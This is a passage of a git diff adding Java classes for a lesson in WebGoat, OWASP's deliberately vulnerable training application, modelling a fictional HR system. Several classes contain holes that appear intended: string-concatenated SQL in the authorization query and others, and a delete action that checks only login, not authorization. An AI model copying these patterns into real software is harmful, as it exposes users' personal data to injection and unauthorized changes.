getRequestAttribute(WebSession s, String name) throws ParameterNotFoundException + { + String value = (String) s.getRequest().getAttribute(name); + if (value == null) + { + throw new ParameterNotFoundException(); + } + + return value; + } + + protected int getIntRequestAttribute(WebSession s, String name) throws ParameterNotFoundException + { + int value = -1; + String ss = (String) s.getRequest().getAttribute(name); + if (ss == null) + { + throw new ParameterNotFoundException(); + } + else + { + try + { + value = Integer.parseInt(ss); + } + catch (NumberFormatException nfe) + { + } + } + + return value; + } + + public int getUserId(WebSession s) throws ParameterNotFoundException + { + return getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID); + } + + public String getUserName(WebSession s) throws ParameterNotFoundException + { + String name = null; + + int employeeId = getUserId(s); + try + { + String query = "SELECT first_name FROM employee WHERE userid = " + employeeId; + + try + { + Statement answer_statement = WebSession.getConnection(s).createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); + ResultSet answer_results = answer_statement.executeQuery( query ); + if (answer_results.next()) + name = answer_results.getString("first_name"); + } + catch ( SQLException sqle ) + { + s.setMessage( "Error getting user name" ); + sqle.printStackTrace(); + } + } + catch ( Exception e ) + { + s.setMessage( "Error getting user name" ); + e.printStackTrace(); + } + + return name; + } + + public boolean requiresAuthentication() + { + // Default to true + return true; + } + + public boolean isAuthenticated(WebSession s) + { + boolean authenticated = false; + + try + { + authenticated = getBooleanSessionAttribute(s, getLessonName() + ".isAuthenticated"); + } + catch (ParameterNotFoundException e) + { + } + + return authenticated; + } + + public boolean isAuthorized(WebSession s, int employeeId, String functionId) + { + String employer_id = (String)s.getRequest().getSession().getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID); + //System.out.println("Authorizing " + employeeId + " for use of function: " + functionId + " having USER_ID = " + employer_id ); + boolean authorized = false; + + try + { + String query = "SELECT * FROM auth WHERE auth.role in (SELECT roles.role FROM roles WHERE userid = " + employeeId + ") and functionid = '" + functionId + "'"; + + try + { + Statement answer_statement = WebSession.getConnection(s).createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); + ResultSet answer_results = answer_statement.executeQuery( query ); + authorized = answer_results.first(); + + /* User is validated for function, but can the user perform that function on the specified user? */ + if(authorized) + { + authorized = isAuthorizedForEmployee(s, Integer.parseInt(employer_id), employeeId); + } + } + catch ( SQLException sqle ) + { + s.setMessage( "Error authorizing" ); + sqle.printStackTrace(); + } + } + catch ( Exception e ) + { + s.setMessage( "Error authorizing" ); + e.printStackTrace(); + } + + //System.out.println("Authorized? " + authorized); + return authorized; + } + + public boolean isAuthorizedForEmployee(WebSession s, int userId, int employeeId) + { + //System.out.println("Authorizing " + userId + " for access to employee: " + employeeId); + boolean authorized = false; + + try + { + String query = "SELECT * FROM ownership WHERE employer_id = ? AND employee_id = ?"; + + try + { + + PreparedStatement answer_statement = WebSession.getConnection(s).prepareStatement( query, + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); + answer_statement.setInt(1, userId); + answer_statement.setInt(2, employeeId); + ResultSet answer_results = answer_statement.executeQuery(); + authorized = answer_results.first(); + } + catch ( SQLException sqle ) + { + s.setMessage( "Error authorizing" ); + sqle.printStackTrace(); + } + } + catch ( Exception e ) + { + s.setMessage( "Error authorizing" ); + e.printStackTrace(); + } + + return authorized; + } + + protected void setStage(WebSession s, String stage) + { + getLesson().setStage(s, stage); + } + + protected void setStageComplete(WebSession s, String stage) { + getLesson().setStageComplete(s, stage); + } + + protected String getStage(WebSession s) + { + return getLesson().getStage(s); + } + + public String toString() + { + return getActionName(); + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java new file mode 100755 index 000000000..67e8a8a2e --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java @@ -0,0 +1,122 @@ +package org.owasp.webgoat.lessons.GoatHillsFinancial; + +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; + +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class DeleteProfile extends DefaultLessonAction +{ + + private LessonAction chainedAction; + + public DeleteProfile(GoatHillsFinancial lesson, String lessonName, + String actionName, LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } + + public void handleRequest(WebSession s) throws ParameterNotFoundException, + UnauthenticatedException, UnauthorizedException, + ValidationException + { + getLesson().setCurrentAction(s, getActionName()); + + int userId = getIntSessionAttribute(s, getLessonName() + "." + + GoatHillsFinancial.USER_ID); + int employeeId = s.getParser().getIntParameter( + GoatHillsFinancial.EMPLOYEE_ID); + + if (isAuthenticated(s)) + { + deleteEmployeeProfile(s, userId, employeeId); + + try + { + chainedAction.handleRequest(s); + } + catch (UnauthenticatedException ue1) + { + System.out.println("Internal server error"); + ue1.printStackTrace(); + } + catch (UnauthorizedException ue2) + { + System.out.println("Internal server error"); + ue2.printStackTrace(); + } + } + else + throw new UnauthenticatedException(); + + } + + public String getNextPage(WebSession s) + { + return GoatHillsFinancial.LISTSTAFF_ACTION; + } + + public void deleteEmployeeProfile(WebSession s, int userId, int employeeId) + throws UnauthorizedException + { + try + { + // Note: The password field is ONLY set by ChangePassword + String query = "DELETE FROM employee WHERE userid = " + employeeId; + //System.out.println("Query: " + query); + try + { + Statement statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + statement.executeUpdate(query); + } + catch (SQLException sqle) + { + s.setMessage("Error deleting employee profile"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error deleting employee profile"); + e.printStackTrace(); + } + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java new file mode 100755 index 000000000..287799439 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java @@ -0,0 +1,132 @@ +package org.owasp.webgoat.lessons.GoatHillsFinancial; + +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; + +import org.owasp.webgoat.session.Employee; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class EditProfile extends DefaultLessonAction +{ + + public EditProfile(GoatHillsFinancial lesson, String lessonName, + String actionName) + { + super(lesson, lessonName, actionName); + } + + public void handleRequest(WebSession s) throws ParameterNotFoundException, + UnauthenticatedException, UnauthorizedException + { + getLesson().setCurrentAction(s, getActionName()); + + if (isAuthenticated(s)) + { + int userId = getUserId(s); + int employeeId = s.getParser().getIntParameter( + GoatHillsFinancial.EMPLOYEE_ID); + + Employee employee = getEmployeeProfile(s, userId, employeeId); + setSessionAttribute(s, getLessonName() + "." + + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee); + } + else + throw new UnauthenticatedException(); + } + + public String getNextPage(WebSession s) + { + return GoatHillsFinancial.EDITPROFILE_ACTION; + } + + public Employee getEmployeeProfile(WebSession s, int userId, + int subjectUserId) throws UnauthorizedException + { + Employee profile = null; + + // Query the database for the profile data of the given employee + try + { + String query = "SELECT * FROM employee WHERE userid = ?"; + + try + { + PreparedStatement answer_statement = WebSession + .getConnection(s).prepareStatement(query, + ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + answer_statement.setInt(1, subjectUserId); + ResultSet answer_results = answer_statement.executeQuery(); + if (answer_results.next()) + { + // Note: Do NOT get the password field. + profile = new Employee(answer_results.getInt("userid"), + answer_results.getString("first_name"), + answer_results.getString("last_name"), + answer_results.getString("ssn"), answer_results + .getString("title"), answer_results + .getString("phone"), answer_results + .getString("address1"), answer_results + .getString("address2"), answer_results + .getInt("manager"), answer_results + .getString("start_date"), answer_results + .getInt("salary"), answer_results + .getString("ccn"), answer_results + .getInt("ccn_limit"), answer_results + .getString("disciplined_date"), + answer_results.getString("disciplined_notes"), + answer_results.getString("personal_description")); + /* System.out.println("Retrieved employee from db: " + + profile.getFirstName() + " " + profile.getLastName() + + " (" + profile.getId() + ")"); + */} + } + catch (SQLException sqle) + { + s.setMessage("Error getting employee profile"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error getting employee profile"); + e.printStackTrace(); + } + + return profile; + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java new file mode 100755 index 000000000..e8cd6c8c4 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java @@ -0,0 +1,190 @@ +package org.owasp.webgoat.lessons.GoatHillsFinancial; + +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; + +import org.owasp.webgoat.session.Employee; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class FindProfile extends DefaultLessonAction +{ + + private LessonAction chainedAction; + + + public FindProfile(GoatHillsFinancial lesson, String lessonName, + String actionName, LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } + + + public void handleRequest(WebSession s) throws ParameterNotFoundException, + UnauthenticatedException, UnauthorizedException, + ValidationException + { + if (isAuthenticated(s)) + { + int userId = getIntSessionAttribute(s, getLessonName() + "." + + GoatHillsFinancial.USER_ID); + + String pattern = s.getParser().getRawParameter( + GoatHillsFinancial.SEARCHNAME); + + findEmployeeProfile(s, userId, pattern); + + // Execute the chained Action if the employee was found. + if (foundEmployee(s)) + { + try + { + chainedAction.handleRequest(s); + } + catch (UnauthenticatedException ue1) + { + System.out.println("Internal server error"); + ue1.printStackTrace(); + } + catch (UnauthorizedException ue2) + { + System.out.println("Internal server error"); + ue2.printStackTrace(); + } + } + } + else + throw new UnauthenticatedException(); + } + + + public String getNextPage(WebSession s) + { + String page = GoatHillsFinancial.SEARCHSTAFF_ACTION; + + if (foundEmployee(s)) + page = GoatHillsFinancial.VIEWPROFILE_ACTION; + + return page; + } + + + private boolean foundEmployee(WebSession s) + { + boolean found = false; + try + { + getIntRequestAttribute(s, getLessonName() + "." + + GoatHillsFinancial.EMPLOYEE_ID); + found = true; + } + catch (ParameterNotFoundException e) + {} + + return found; + } + + + public Employee findEmployeeProfile(WebSession s, int userId, String pattern) + throws UnauthorizedException + { + Employee profile = null; + // Clear any residual employee id's in the session now. + removeSessionAttribute(s, getLessonName() + "." + + GoatHillsFinancial.EMPLOYEE_ID); + + // Query the database for the profile data of the given employee + try + { + String query = "SELECT * FROM employee WHERE first_name LIKE ? OR last_name LIKE ?"; + + try + { + PreparedStatement answer_statement = WebSession + .getConnection(s).prepareStatement(query, + ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + answer_statement.setString(1, "%" + pattern + "%"); + answer_statement.setString(2, "%" + pattern + "%"); + ResultSet answer_results = answer_statement.executeQuery(); + + // Just use the first hit. + if (answer_results.next()) + { + int id = answer_results.getInt("userid"); + // Note: Do NOT get the password field. + profile = new Employee(id, answer_results + .getString("first_name"), answer_results + .getString("last_name"), answer_results + .getString("ssn"), answer_results + .getString("title"), answer_results + .getString("phone"), answer_results + .getString("address1"), answer_results + .getString("address2"), answer_results + .getInt("manager"), answer_results + .getString("start_date"), answer_results + .getInt("salary"), answer_results.getString("ccn"), + answer_results.getInt("ccn_limit"), answer_results + .getString("disciplined_date"), + answer_results.getString("disciplined_notes"), + answer_results.getString("personal_description")); + + /* System.out.println("Retrieved employee from db: " + + profile.getFirstName() + " " + profile.getLastName() + + " (" + profile.getId() + ")"); + */ + setRequestAttribute(s, getLessonName() + "." + + GoatHillsFinancial.EMPLOYEE_ID, Integer + .toString(id)); + } + } + catch (SQLException sqle) + { + s.setMessage("Error finding employee profile"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error finding employee profile"); + e.printStackTrace(); + } + + return profile; + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java new file mode 100755 index 000000000..44ba5f481 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java @@ -0,0 +1,332 @@ +package org.owasp.webgoat.lessons.GoatHillsFinancial; + +import java.util.ArrayList; +import java.util.Hashtable; +import java.util.List; +import java.util.Map; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.html.A; +import org.apache.ecs.html.IMG; +import org.owasp.webgoat.lessons.RandomLessonAdapter; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class GoatHillsFinancial extends RandomLessonAdapter +{ + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); + + public final static String DESCRIPTION = "description"; + + public final static String DISCIPLINARY_DATE = "disciplinaryDate"; + + public final static String DISCIPLINARY_NOTES = "disciplinaryNotes"; + + public final static String CCN_LIMIT = "ccnLimit"; + + public final static String CCN = "ccn"; + + public final static String SALARY = "salary"; + + public final static String START_DATE = "startDate"; + + public final static String MANAGER = "manager"; + + public final static String ADDRESS1 = "address1"; + + public final static String ADDRESS2 = "address2"; + + public final static String PHONE_NUMBER = "phoneNumber"; + + public final static String TITLE = "title"; + + public final static String SSN = "ssn"; + + public final static String LAST_NAME = "lastName"; + + public final static String FIRST_NAME = "firstName"; + + public final static String PASSWORD = "password"; + + public final static String EMPLOYEE_ID = "employee_id"; + + public final static String USER_ID = "user_id"; + + public final static String SEARCHNAME = "search_name"; + + public final static String SEARCHRESULT_ATTRIBUTE_KEY = "SearchResult"; + + public final static String EMPLOYEE_ATTRIBUTE_KEY = "Employee"; + + public final static String STAFF_ATTRIBUTE_KEY = "Staff"; + + public final static String LOGIN_ACTION = "Login"; + + public final static String LOGOUT_ACTION = "Logout"; + + public final static String LISTSTAFF_ACTION = "ListStaff"; + + public final static String SEARCHSTAFF_ACTION = "SearchStaff"; + + public final static String FINDPROFILE_ACTION = "FindProfile"; + + public final static String VIEWPROFILE_ACTION = "ViewProfile"; + + public final static String EDITPROFILE_ACTION = "EditProfile"; + + public final static String UPDATEPROFILE_ACTION = "UpdateProfile"; + + public final static String CREATEPROFILE_ACTION = "CreateProfile"; + + public final static String DELETEPROFILE_ACTION = "DeleteProfile"; + + public final static String ERROR_ACTION = "error"; + + private final static Integer DEFAULT_RANKING = new Integer(125); + + private Map lessonFunctions = new Hashtable(); + + public GoatHillsFinancial() + { + String myClassName = parseClassName(this.getClass().getName()); + registerActions(myClassName); + } + + protected void registerActions(String className) { + registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); + registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); + registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); + registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); + registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); + + // These actions are special in that they chain to other actions. + registerAction(new Login(this, className, LOGIN_ACTION, + getAction(LISTSTAFF_ACTION))); + registerAction(new Logout(this, className, LOGOUT_ACTION, + getAction(LOGIN_ACTION))); + registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, + getAction(VIEWPROFILE_ACTION))); + registerAction(new UpdateProfile(this, className, + UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); + registerAction(new DeleteProfile(this, className, + DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); + } + + protected final String parseClassName(String fqcn) + { + String className = fqcn; + + int lastDotIndex = fqcn.lastIndexOf('.'); + if (lastDotIndex > -1) + className = fqcn.substring(lastDotIndex + 1); + + return className; + } + + protected void registerAction(LessonAction action) + { + lessonFunctions.put(action.getActionName(), action); + } + + public String[] getStages() { + return new String[] {}; + } + + protected List getHints(WebSession s) + { + return new ArrayList(); + } + + public String getInstructions(WebSession s) + { + return ""; + } + + protected LessonAction getAction(String actionName) + { + return lessonFunctions.get(actionName); + } + + public void handleRequest(WebSession s) + { + if (s.getLessonSession(this) == null) + s.openLessonSession(this); + + String requestedActionName = null; + try + { + requestedActionName = s.getParser().getStringParameter("action"); + } + catch (ParameterNotFoundException pnfe) + { + // Let them eat login page. + requestedActionName = LOGIN_ACTION; + } + + try + { + LessonAction action = getAction(requestedActionName); + if (action == null) + { + setCurrentAction(s, ERROR_ACTION); + } else + { + //System.out.println("GoatHillsFinancial.handleRequest() dispatching to: " + action.getActionName()); + if (action.requiresAuthentication()) + { + if (action.isAuthenticated(s)) + { + action.handleRequest(s); + } + else + throw new UnauthenticatedException(); + } + else + { + // Access to Login does not require authentication. + action.handleRequest(s); + } + } + } + catch (ParameterNotFoundException pnfe) + { + System.out.println("Missing parameter"); + pnfe.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } + catch (ValidationException ve) + { + System.out.println("Validation failed"); + ve.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } + catch (UnauthenticatedException ue) + { + s.setMessage("Login failed"); + System.out.println("Authentication failure"); + ue.printStackTrace(); + } + catch (UnauthorizedException ue2) + { + s.setMessage("You are not authorized to perform this function"); + System.out.println("Authorization failure"); + setCurrentAction(s, ERROR_ACTION); + ue2.printStackTrace(); + } + catch (Exception e) + { + // All other errors send the user to the generic error page + System.out.println("handleRequest() error"); + e.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } + + // All this does for this lesson is ensure that a non-null content exists. + setContent(new ElementContainer()); + } + + public boolean isAuthorized(WebSession s, int userId, String functionId) + { + //System.out.println("Checking authorization from " + getCurrentAction(s)); + LessonAction action = getAction(getCurrentAction(s)); + return action.isAuthorized(s, userId, functionId); + } + + public int getUserId(WebSession s) throws ParameterNotFoundException + { + LessonAction action = getAction(getCurrentAction(s)); + return action.getUserId(s); + } + + public String getUserName(WebSession s) throws ParameterNotFoundException + { + LessonAction action = getAction(getCurrentAction(s)); + return action.getUserName(s); + } + + protected String getJspPath() { + return "/lessons/" + getLessonName() + "/"; + } + + public String getTemplatePage(WebSession s) + { + return getJspPath() + getLessonName() + ".jsp"; + } + + public String getPage(WebSession s) + { + String page = getJspPath() + getCurrentAction(s) + ".jsp"; + + return page; + } + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + public String getTitle() + { + return "Goat Hills Financials"; + } + + public String getSourceFileName() + { + // FIXME: Need to generalize findSourceResource() and use it on the currently active + // LessonAction delegate to get its source file. + //return findSourceResource(getCurrentLessonScreen()....); + return super.getSourceFileName(); + } + + @Override + protected boolean getDefaultHidden() { + return getClass().equals(GoatHillsFinancial.class); + } + + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } + + @Override + protected String getLessonName() { + String className = getClass().getName(); + int index = className.lastIndexOf('.'); + if (index > -1) + return className.substring(index+1); + return super.getLessonName(); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/LessonAction.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/LessonAction.java new file mode 100644 index 000000000..8bcf4baa8 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/LessonAction.java @@ -0,0 +1,27 @@ +package org.owasp.webgoat.lessons.GoatHillsFinancial; + +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; + +public interface LessonAction +{ + public void handleRequest(WebSession s) + throws ParameterNotFoundException, UnauthenticatedException, UnauthorizedException, ValidationException; + + public String getNextPage(WebSession s); + + public String getActionName(); + + public boolean requiresAuthentication(); + + public boolean isAuthenticated(WebSession s); + + public boolean isAuthorized(WebSession s, int employeeId, String functionId); + + public int getUserId(WebSession s) throws ParameterNotFoundException; + + public String getUserName(WebSession s) throws ParameterNotFoundException; +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ListStaff.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ListStaff.java new file mode 100755 index 000000000..efee3ef10 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ListStaff.java @@ -0,0 +1,121 @@ +package org.owasp.webgoat.lessons.GoatHillsFinancial; + +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import java.util.List; +import java.util.Vector; + +import org.owasp.webgoat.session.EmployeeStub; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class ListStaff extends DefaultLessonAction +{ + + public ListStaff(GoatHillsFinancial lesson, String lessonName, String actionName) + { + super(lesson, lessonName, actionName); + } + + public void handleRequest(WebSession s) throws ParameterNotFoundException, + UnauthenticatedException, UnauthorizedException + { + getLesson().setCurrentAction(s, getActionName()); + + if (isAuthenticated(s)) + { + int userId = getIntSessionAttribute(s, getLessonName() + "." + + GoatHillsFinancial.USER_ID); + + List employees = getAllEmployees(s, userId); + setSessionAttribute(s, getLessonName() + "." + + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees); + } + else + throw new UnauthenticatedException(); + } + + public String getNextPage(WebSession s) + { + return GoatHillsFinancial.LISTSTAFF_ACTION; + } + + public List getAllEmployees(WebSession s, int userId) + throws UnauthorizedException + { + // Query the database for all employees "owned" by the given employee + + List employees = new Vector(); + + try + { + String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in " + + "(SELECT employee_id FROM ownership WHERE employer_id = " + + userId + ")"; + + try + { + Statement answer_statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(query); + answer_results.beforeFirst(); + while (answer_results.next()) + { + int employeeId = answer_results.getInt("userid"); + String firstName = answer_results.getString("first_name"); + String lastName = answer_results.getString("last_name"); + String role = answer_results.getString("role"); + //System.out.println("Retrieving employee stub for role " + role); + EmployeeStub stub = new EmployeeStub(employeeId, firstName, + lastName, role); + employees.add(stub); + } + } + catch (SQLException sqle) + { + s.setMessage("Error getting employees"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error getting employees"); + e.printStackTrace(); + } + + return employees; + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java new file mode 100755 index 000000000..d2ef4508d --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java @@ -0,0 +1,219 @@ +package org.owasp.webgoat.lessons.GoatHillsFinancial; + +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import java.util.List; +import java.util.Vector; + +import org.owasp.webgoat.session.EmployeeStub; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class Login extends DefaultLessonAction +{ + + private LessonAction chainedAction; + + + public Login(GoatHillsFinancial lesson, String lessonName, String actionName, + LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } + + + public void handleRequest(WebSession s) throws ParameterNotFoundException, + ValidationException + { + //System.out.println("Login.handleRequest()"); + getLesson().setCurrentAction(s, getActionName()); + + List employees = getAllEmployees(s); + setSessionAttribute(s, getLessonName() + "." + + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees); + + int employeeId = -1; + 